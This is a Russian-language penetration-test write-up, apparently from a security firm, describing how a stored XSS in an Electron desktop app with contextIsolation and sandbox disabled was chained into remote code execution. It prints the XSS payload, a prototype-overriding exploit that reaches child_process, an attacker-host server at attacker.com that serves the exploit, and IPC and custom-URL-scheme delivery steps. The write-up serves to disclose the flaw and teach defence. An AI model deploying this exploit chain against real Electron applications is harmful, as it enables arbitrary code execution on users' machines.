Автор баги: panyakor
Electron — популярный фреймворк для создания кроссплатформенных десктопных приложений с использованием веб-технологий. Однако неправильная конфигурация безопасности может привести к серьезным уязвимостям. В данной статье мы рассмотрим эксплуатацию приложений с отключенными параметрами contextIsolation: false и sandbox: false, что позволило нам выполнить произвольный код на целевой системе.

Архитектура Electron приложения
Прежде чем перейти к описанию найденных уязвимостей, рассмотрим сначала общую архитектуру приложений на Electron. А также разберем основные параметры конфигурации, которые оказывают влияние на безопасность.
Electron разделяет приложение на два основных типа процессов: основной процесс (main process) и процессы рендеринга (renderer processes).
Основной процесс является ключевой точкой входа в приложение и существует в единственном числе. Он имеет полный доступ к Node.js API, поэтому может выполнять операции с файловой системой, запускать подпроцессы и т.д. Также он управляет жизненным циклом приложения и реализует нативные функции, такие как контекстное меню, диалоговые окна, уведомления.
Основной процесс с помощью создания объектов класса BrowserWindow может порождать процессы рендеринга (Renderer Processes). Каждое окно (или вкладка) приложения запускает свой процесс рендеринга. Процесс рендеринга отображает веб-страницу и обрабатывает пользовательский интерфейс с помощью движка Chromium. Для безопасности, по умолчанию процессы рендеринга не имеют прямого доступа к Node.js API и общаются с основным процессом через IPC. Но это можно изменить через свойства объекта webPreferences при создании BrowserWindow.
Для связи между процессами рендеринга и основным процессом, а также для предоставления доступа к привилегированным API используются preload-скрипты. Они имеют доступ к Node.js API и всегда выполняются перед загрузкой веб-страницы в процессе рендеринга.
Рассмотрим основные настройки BrowserWindow, влияющие на безопасность этой архитектуры.
nodeIntegration(с версии 5 по умолчаниюfalse) — при значенииtrueпредоставляет полный доступ к Node.js API из процессов рендеринга. В таком случае XSS = RCE.contextIsolation(с версии 12 по умолчаниюtrue) — приtrueизолирует контексты выполнения скриптов в процессах рендеринга и preload-скриптах (а также внутреннем API Electron). Не позволяя таким образом влиять на глобальные объекты (напримерwindow).sandbox(с версии 20 по умолчаниюtrue) — при значенииtrueвключает механизм песочницы для Chromium процессов, что накладывает дополнительные ограничения для процессов рендеринга средствами операционной системы (см. подробнее в https://chromium.googlesource.com/chromium/src/+/main/docs/design/sandbox.md).
Начало исследования: XSS как точка входа
На одной из страниц веб-приложения мы нашли уязвимый элемент, позволяющий исполнить произвольный JavaScript. Значение одного из параметров, контролируемое пользователем и сохраняемое в базе данных, небезопасно выводилось на странице с помощью innerHTML. Это приводило к возможности проведения XSS-атак, используя простую нагрузку:
<img/src/onerror=alert(origin)>
Помимо веб-версии, в область исследования также входило десктопное приложение на базе Electron. Electron-приложение использовало практически ту же версию сайта, и эта уязвимость там тоже воспроизводилась.
После распаковки ASAR-архива приложения через CLI-утилиту asar:
asar e app.asar source
Мы сразу обратили внимание на опасную конфигурацию главного окна (contextIsolation: false и sandbox: false), создаваемого в основном процессе при запуске приложения:
new BrowserWindow({
autoHideMenuBar: true,
webPreferences: {
devTools: true,
nodeIntegration: false,
nodeIntegrationInWorker: false,
contextIsolation: false,
preload: (0, path_1.join)(__dirname, 'preload.js'),
backgroundThrottling: false
}
})
Далее мы проанализировали скрипт preload.js на наличие методов, небезопасно использующих Electron API или Node.js API (например методы объектов shell, fs, child_process и т.п.). Но не нашли ничего интересного, кроме предоставления доступа к объекту ipcRenderer (используется для посылки сообщений в основной процесс), и получения информации о среде исполнения:
var electron_1 = require("electron");
var env_1 = require("../api/env");
var version = require('./../../package.json').version;
var electronApi = {
ipc: electron_1.ipcRenderer,
platform: env_1.default.OS,
version: {
app: version,
node: process.versions.node,
chrome: process.versions.chrome,
electron: process.versions.electron
},
env: env_1.default
};
window.electronApi = electronApi;
Стоит также заметить, что в приложении использовался Electron 16-й версии (уже устаревший на тот момент).
В случае отключенной изоляции процессов через contextIsolation: false, в этой версии существует способ повлиять из процесса рендеринга на объекты Electron API в основном процессе таким образом, что в связке с sandbox: false это позволяет выполнить произвольный код на компьютере жертвы (источник: https://www.youtube.com/watch?v=Tzo8ucHA5xw).
Код эксплойта, использующий этот способ, выглядит следующим образом (операционная система жертвы: macOS):
const origEndsWith = String.prototype.endsWith;
String.prototype.endsWith = function(...args) {
if (args && args[0] === 'MacOS/Electron') {
String.prototype.endsWith = origEndsWith;
return true;
}
return origEndsWith.apply(this, args);
};
const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
if (args[3] && args[3].name === '__webpack_require__') {
const __webpack_require__ = args[3];
__webpack_require__('module')._load('child_process').execSync('open -a Calculator');
Function.prototype.call = origCallMethod;
}
return origCallMethod.apply(this, args);
};
Сначала он переопределяет метод endsWith в прототипе объекта String, чтобы пройти проверку для логирования информации о предупреждениях безопасности в консоль после загрузки страницы (по умолчанию работает только при запуске приложения через electron app_dir в процессе разработки).
См. https://github.com/electron/electron/blob/v16.2.8/lib/renderer/init.ts:
// Warn about security issues
if (process.isMainFrame) {
const { securityWarnings } = require('@electron/internal/renderer/security-warnings') as typeof securityWarningsModule;
securityWarnings(nodeIntegration);
}
См. https://github.com/electron/electron/blob/v16.2.8/lib/renderer/security-warnings.ts:
const shouldLogSecurityWarnings = function (): boolean {
if (shouldLog !== null) {
return shouldLog;
}
switch (platform) {
case 'darwin':
shouldLog = execPath.endsWith('MacOS/Electron') ||
execPath.includes('Electron.app/Contents/Frameworks/');
break;
case 'freebsd':
case 'linux':
shouldLog = execPath.endsWith('/electron');
break;
case 'win32':
shouldLog = execPath.endsWith('\\electron.exe');
break;
default:
shouldLog = false;
}
if ((env && env.ELECTRON_DISABLE_SECURITY_WARNINGS) ||
(window && window.ELECTRON_DISABLE_SECURITY_WARNINGS)) {
shouldLog = false;
}
if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) ||
(window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) {
shouldLog = true;
}
return shouldLog;
};
// ...
export function securityWarnings (nodeIntegration: boolean) {
const loadHandler = async function () {
if (shouldLogSecurityWarnings()) {
const webPreferences = await getWebPreferences();
logSecurityWarnings(webPreferences, nodeIntegration);
}
};
window.addEventListener('load', loadHandler, { once: true });
}
Далее, при логировании в функции logSecurityWarnings выполняется функция warnAboutInsecureCSP, которая вызывает функцию isUnsafeEvalEnabled:
import { webFrame } from 'electron';
// ...
const isUnsafeEvalEnabled = () => {
return webFrame._isEvalAllowed();
};
// ...
const warnAboutInsecureCSP = function () {
if (!isUnsafeEvalEnabled()) return;
const warning = This renderer process has either no Content Security
Policy set or a policy with "unsafe-eval" enabled. This exposes users of
this app to unnecessary security risks.\n${moreInformation};
console.warn('%cElectron Security Warning (Insecure Content-Security-Policy)',
'font-weight: bold;', warning);
};
// ...
const logSecurityWarnings = function (
webPreferences: Electron.WebPreferences | undefined, nodeIntegration: boolean
) {
warnAboutNodeWithRemoteContent(nodeIntegration);
warnAboutDisabledWebSecurity(webPreferences);
warnAboutInsecureResources();
warnAboutInsecureContentAllowed(webPreferences);
warnAboutExperimentalFeatures(webPreferences);
warnAboutEnableBlinkFeatures(webPreferences);
warnAboutInsecureCSP();
warnAboutAllowedPopups();
};
Функция isUnsafeEvalEnabled обращается к модулю webFrame, который после сборки через webpack, подключается через вызов метода Function.prototype.call:
function ___electron_webpack_init__() {
!function(e) {
var t = {};
function __webpack_require__(n) {
if (t[n])
return t[n].exports;
var r = t[n] = {
i: n,
l: !1,
exports: {}
};
return e[n].call(r.exports, r, r.exports, __webpack_require__),
r.l = !0,
r.exports
}
// ...
}
Cм. https://github.com/webpack/webpack/blob/de79ee457eb921e6e1b186c90c65590789a013ca/
lib/javascript/JavascriptModulesPlugin.js#L1430-L1445
В этом вызове четвертым аргументом (под именем __webpack_require__) передается функция require из Node.js API основного процесса приложения.
Переопределив функцию Function.prototype.call в эксплойте, мы можем по количеству аргументов и названию переданной четвертым аргументом функции, получить доступ к Node.js API из процесса рендеринга. Далее через этот require мы просто загружаем модуль child_process из Node.js API и запускаем калькулятор.
Попробовав этот эксплойт в нашем приложении, мы столкнулись с небольшой проблемой. Из-за того, что часть интерфейса с XSS-уязвимостью загружалась динамически, а проверка необходимости логировать информацию о предупреждениях безопасности происходит по наступлению события load, эксплойт переопределял методы в прототипах объектов Electron API слишком поздно.
Тут нам помог объект ipcRenderer, переданный в процесс рендеринга через свойство ipc глобального объекта electronApi в скрипте preload.js.
А также возможность создания и скрытия окон (объектов BrowserWindow) через обработчики событий IPC, объявленные в коде приложения (использовался модуль @electron/remote):
WinManager.js:
var electron_1 = require("electron");
function WinManager() {
var _this = this;
this.store = {};
electron_1.ipcMain.on('CREATE_WINDOW', function (event, message) {
var name = message.name, url = message.url, options = message.options;
if (name && !Object.keys(_this.store).includes(name) && url) {
// ...
_this.createWindow(name, url, options || {});
}
});
}
// ...
WinManager.prototype.createWindow = function (name, url, config) {
if (!this.store[name]) {
this.store[name] = new BaseWindow(name, url, config);
}
return !!this.store[name];
};
BaseWindow.js:
// ...
var electron_1 = require("electron");
var mainRemote = require("@electron/remote/main");
// ...
function BaseWindow(name, url, config) {
var _this = _super.call(this) || this;
_this.name = name;
// ...
_this.win = _this.createWindow(config, false);
_this.win.setMenuBarVisibility(false);
_this.win.loadURL(url);
electron_1.ipcMain.on("window.".concat(name), function (event, message) {
if (message && message.action === 'window_control') {
switch (message.payload.do) {
// ...
case 'hide':
_this.hide();
break;
case 'show':
_this.show();
break;
// ...
default:
break;
}
}
// ...
}
};
// ...
BaseWindow.prototype.createWindow = function (config, focusListener) {
// ...
_this.win = new electron_1.BrowserWindow(__assign(__assign({}, config), _this.baseConfig));
mainRemote.enable(_this.win.webContents);
// ...
};
Код намеренно упрощен, и несмотря на то, что объект с настройками config передается в BrowserWindow, переопределить настройки webPreferences через него было нельзя.
Чтобы решить проблему с поздним срабатыванием эксплойта, мы можем создать новое окно приложения через посылку события CREATE_WINDOW в ipcRenderer:
electronApi.ipc.send('CREATE_WINDOW', { url: '/pwn_electron_page', name: 'test', options: {} });
После наступления события load у этого окна, в нем залогируются предупреждения безопасности и переопределенный нами метод Function.prototype.call приведет к RCE.
Сценарий атаки
Чтобы перейти от XSS к полноценному RCE, мы разместили на своем сервере https://attacker.com код, который импортировался при срабатывании события onerror в XSS-нагрузке:
app.get('/pwn_import', (req, res) => {
res.set('content-type', 'text/javascript');
res.set('access-control-allow-origin', '*');
res.send(
const origEndsWith = String.prototype.endsWith;
String.prototype.endsWith = function(...args) {
if (args && args[0] === 'MacOS/Electron') {
String.prototype.endsWith = origEndsWith;
return true;
}
return origEndsWith.apply(this, args);
};
const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
if (args[3] && args[3].name === '__webpack_require__') {
const __webpack_require__ = args[3];
__webpack_require__('module')._load('child_process').execSync('open -a Calculator');
Function.prototype.call = origCallMethod;
}
return origCallMethod.apply(this, args);
};
if (!location.href.includes('/pwn_electron_page')) {
electronApi.ipc.send('CREATE_WINDOW', { url: 'https://attacker.com/pwn_electron_page', name: 'test', options: {} });
} else {
electronApi.ipc.send('window.test', { action: 'window_control', payload: { do: 'hide' } });
}
);
});
app.get('/pwn_electron_page', (req, res) => {
res.set('content-type', 'text/html');
res.send(<script src="/pwn_import"></script>);
});
- Злоумышленник внедряет XSS-нагрузку
<img/src/onerror=import('https://attacker.com/pwn_import')>на странице созданной им маркетинговой кампании. - При открытии страницы этой кампании жертвой в приложении, выполняется эксплойт, переопределяющий методы объектов прототипов Electron API.
- Через IPC событие
CREATE_WINDOWоткрывается новое окно с URLhttps://attacker.com/pwn_electron_pageи именемtest. - Срабатывает переопределенный вызов
Function.prototype.callи открывается калькулятор. - Открытое окно с именем
testскрывается.
Эксплуатация через пользовательскую схему URL
Приложение поддерживало собственную схему ссылок customscheme://, что создавало дополнительный вектор атаки. Мы использовали эту функциональность для инициации атаки. Таким образом, полный сценарий атаки выглядел так:
- Мы создали специально сформированную ссылку вида
customscheme:///campaigns/widget/<id>, где числовой параметр<id>указывал на идентификатор маркетинговой кампании, содержащей внедренный нами вредоносный код. - При клике пользователя на такую ссылку операционная система автоматически запускала зарегистрированное Electron приложение и передавала ему параметры URL.
- Приложение обрабатывало полученный URL и загружало соответствующую маркетинговую кампанию, в контент которой нами был внедрен JavaScript‑код.
- Этот скрипт исполнялся сразу после загрузки кампании — без каких‑либо дополнительных действий со стороны пользователя или предупреждений системы.
Заключение
Данный случай наглядно показывает, к чему может привести несоблюдение базовых настроек безопасности в Electron-приложении. Даже одиночная XSS, в сочетании с отключенным contextIsolation, превращается в полноценную точку входа для RCE. Добавление кастомной схемы только упрощает атаку и делает её практически незаметной для пользователя. В подобных конфигурациях цена одной уязвимости значительно возрастает и с ней уже нельзя работать «по шаблону».
Пентест
Вы можете нанять одну из лучших команд хакеров в мире для проведения тестирования на проникновение.
Мы работаем как с крупными корпорациями, так и со стартапами, знаем про требования регуляторов, нужды бизнеса и реальные угрозы.
